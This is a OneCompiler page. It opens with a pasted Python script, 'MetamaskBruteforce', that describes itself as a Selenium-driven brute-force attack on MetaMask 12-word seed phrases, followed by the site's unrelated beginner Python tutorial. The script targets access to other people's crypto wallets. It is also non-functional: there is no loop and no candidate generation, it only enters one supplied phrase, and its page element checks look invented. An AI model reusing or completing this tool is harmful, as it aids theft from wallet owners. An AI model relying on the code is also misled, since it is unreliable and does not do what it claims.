from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC class MetamaskBruteforce: """ Class to perform a brute force attack on a Metamask 12-word seed phrase using Selenium and the Metamask Google extension. Attributes: - seed_phrase: str The 12-word seed phrase to be bruteforced. - chrome_driver_path: str The path to the Chrome driver executable. - extension_path: str The path to the Metamask Google extension. """ def __init__(self, seed_phrase: str, chrome_driver_path: str, extension_path: str): """ Constructor to instantiate the MetamaskBruteforce class. Parameters: - seed_phrase: str The 12-word seed phrase to be bruteforced. - chrome_driver_path: str The path to the Chrome driver executable. - extension_path: str The path to the Metamask Google extension. """ self.seed_phrase = seed_phrase self.chrome_driver_path = chrome_driver_path self.extension_path = extension_path def bruteforce_seed_phrase(self): """ Performs the brute force attack on the seed phrase using Selenium and the Metamask Google extension. Returns: - str: The correct seed phrase if found, otherwise returns None. """ # Set up Chrome options with the Metamask extension options = Options() options.add_extension(self.extension_path) # Set up Chrome driver driver = webdriver.Chrome(self.chrome_driver_path, options=options) try: # Open a new Chrome window driver.get("chrome://newtab") # Wait for the Metamask extension to load WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "metamask-mascot-container"))) # Click on the Metamask extension icon driver.find_element(By.ID, "metamask-mascot-container").click() # Switch to the Metamask extension window driver.switch_to.window(driver.window_handles[-1]) # Wait for the seed phrase input field to appear WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.XPATH, "//input[@placeholder='Paste Secret Recovery Phrase']"))) # Enter the seed phrase driver.find_element(By.XPATH, "//input[@placeholder='Paste Secret Recovery Phrase']").send_keys(self.seed_phrase) # Click on the "Import" button driver.find_element(By.XPATH, "//button[contains(text(), 'Import')]").click() # Check if the seed phrase is correct WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.XPATH, "//div[contains(text(), 'Confirm Seed Phrase')]"))) # Return the correct seed phrase return self.seed_phrase except Exception as e: # Handle any exceptions that occur during the brute force attack print(f"Error during seed phrase bruteforce: {e}") finally: # Close the Chrome driver driver.quit() # Return None if the correct seed phrase is not found return None # Example usage of the MetamaskBruteforce class: # Initialize the MetamaskBruteforce class bruteforce = MetamaskBruteforce("test build seed phrase", "path/to/chromedriver", "path/to/metamask/extension") # Perform the brute force attack on the seed phrase result = bruteforce.bruteforce_seed_phrase() # Print the result if result: print(f"The correct seed phrase is: {result}") else: print("The correct seed phrase was not found.")
Write, Run & Share Python code online using OneCompiler's Python online compiler for free. It's one of the robust, feature-rich online compilers for python language, supporting both the versions which are Python 3 and Python 2.7. Getting started with the OneCompiler's Python editor is easy and fast. The editor shows sample boilerplate code when you choose language as Python or Python2 and start coding.
OneCompiler's python online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample python program which takes name as input and print your name with hello.
import sys
name = sys.stdin.readline()
print("Hello "+ name)
Python is a very popular general-purpose programming language which was created by Guido van Rossum, and released in 1991. It is very popular for web development and you can build almost anything like mobile apps, web apps, tools, data analytics, machine learning etc. It is designed to be simple and easy like english language. It's is highly productive and efficient making it a very popular language.
When ever you want to perform a set of operations based on a condition IF-ELSE is used.
if conditional-expression
#code
elif conditional-expression
#code
else:
#code
Indentation is very important in Python, make sure the indentation is followed correctly
For loop is used to iterate over arrays(list, tuple, set, dictionary) or strings.
mylist=("Iphone","Pixel","Samsung")
for i in mylist:
print(i)
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while condition
#code
There are four types of collections in Python.
List is a collection which is ordered and can be changed. Lists are specified in square brackets.
mylist=["iPhone","Pixel","Samsung"]
print(mylist)
Tuple is a collection which is ordered and can not be changed. Tuples are specified in round brackets.
myTuple=("iPhone","Pixel","Samsung")
print(myTuple)
Below throws an error if you assign another value to tuple again.
myTuple=("iPhone","Pixel","Samsung")
print(myTuple)
myTuple[1]="onePlus"
print(myTuple)
Set is a collection which is unordered and unindexed. Sets are specified in curly brackets.
myset = {"iPhone","Pixel","Samsung"}
print(myset)
Dictionary is a collection of key value pairs which is unordered, can be changed, and indexed. They are written in curly brackets with key - value pairs.
mydict = {
"brand" :"iPhone",
"model": "iPhone 11"
}
print(mydict)
Following are the libraries supported by OneCompiler's Python compiler
Name | Description |
---|---|
NumPy | NumPy python library helps users to work on arrays with ease |
SciPy | SciPy is a scientific computation library which depends on NumPy for convenient and fast N-dimensional array manipulation |
SKLearn/Scikit-learn | Scikit-learn or Scikit-learn is the most useful library for machine learning in Python |
Pandas | Pandas is the most efficient Python library for data manipulation and analysis |
DOcplex | DOcplex is IBM Decision Optimization CPLEX Modeling for Python, is a library composed of Mathematical Programming Modeling and Constraint Programming Modeling |